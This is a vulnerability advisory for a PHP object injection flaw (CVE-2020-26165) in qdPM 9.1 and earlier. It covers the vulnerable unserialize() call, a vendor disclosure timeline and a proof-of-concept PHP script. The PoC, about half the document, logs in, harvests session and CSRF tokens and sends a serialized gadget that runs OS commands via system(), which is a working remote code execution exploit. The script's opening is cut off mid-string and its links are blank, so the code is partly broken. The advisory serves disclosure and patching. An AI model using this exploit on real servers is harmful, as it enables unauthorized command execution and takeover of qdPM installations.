qdPM <= 9.1 (executeExport) PHP Object Injection Vulnerability  
[-] Software Link:  
[-] Affected Versions:  
Version 9.1 and prior versions.  
[-] Vulnerability Description:  
The vulnerability is located in the /core/apps/qdPM/modules/timeReport/actions/actions.class.php  
script, specifically within the timeReportActions::executeExport() method:  
295. public function executeExport(sfWebRequest $request)  
296. {   
297. $separator = "\t";  
298. $format = $request->getParameter('format');  
299. $filename = $request->getParameter('filename');  
301. $export = unserialize($request->getParameter('export'));  
User input passed through the "export" request parameter is not properly sanitized before being  
used in a call to the unserialize() function at line 301. This can be exploited by malicious users  
to inject arbitrary PHP objects into the application scope, allowing them to carry out a variety  
of attacks, such as executing arbitrary OS commands.  
[-] Proof of Concept:  
\n"; print "\nExample....: php $argv[0] http://localhost/qdpm/ user passwd"; print "\nExample....: php $argv[0] evil hacker\n\n"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "[-] Logging in with username '{$user}' and password '{$pass}'\n"; $resp = curl_exec($ch); if (!preg_match("/Cookie: [^;]+/", $resp, $sid)) die("[-] Session ID not found!\n"); if (!preg_match('/_csrf_token\]" value="([^"]+)"/', $resp, $csrf)) die("[-] CSRF token not found!\n"); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/login"); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "login[email]={$user}&login[password]={$pass}&login[_csrf_token]={$csrf[1]}"); if (!preg_match("/Cookie: [^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n"); print "[-] Logged-in! Exploiting PHP Object Injection...\n"; class sfOutputEscaperObjectDecorator { protected $escapingMethod = "system"; protected $value = "id; whoami"; } $obj = rawurlencode(str_replace(['s:', chr(0)], ['S:', '\00'], serialize([[new sfOutputEscaperObjectDecorator]]))); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/timeReport/export?export={$obj}"); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); print curl_exec($ch);  
[-] Solution:  
No official solution is currently available.  
[-] Disclosure Timeline:  
[29/02/2020] - Vendor notified  
[08/04/2020] - No response, vendor contacted again  
[09/04/2020] - Vendor replies they will fix the vulnerability in a summer release  
[30/09/2020] - Summer is gone and a new version hasn't been released, vendor contacted again  
[30/09/2020] - Vendor replies they're working on version 10, and should be ready in this year  
[30/09/2020] - CVE number requested and assigned  
[02/12/2020] - Vendor informed about public disclosure by the end of the year  
[30/12/2020] - Public disclosure  
[-] CVE Reference:  
The Common Vulnerabilities and Exposures project (  
has assigned the name CVE-2020-26165 to this vulnerability.  
[-] Credits:  
Vulnerability discovered by Egidio Romano.  
[-] Original Advisory: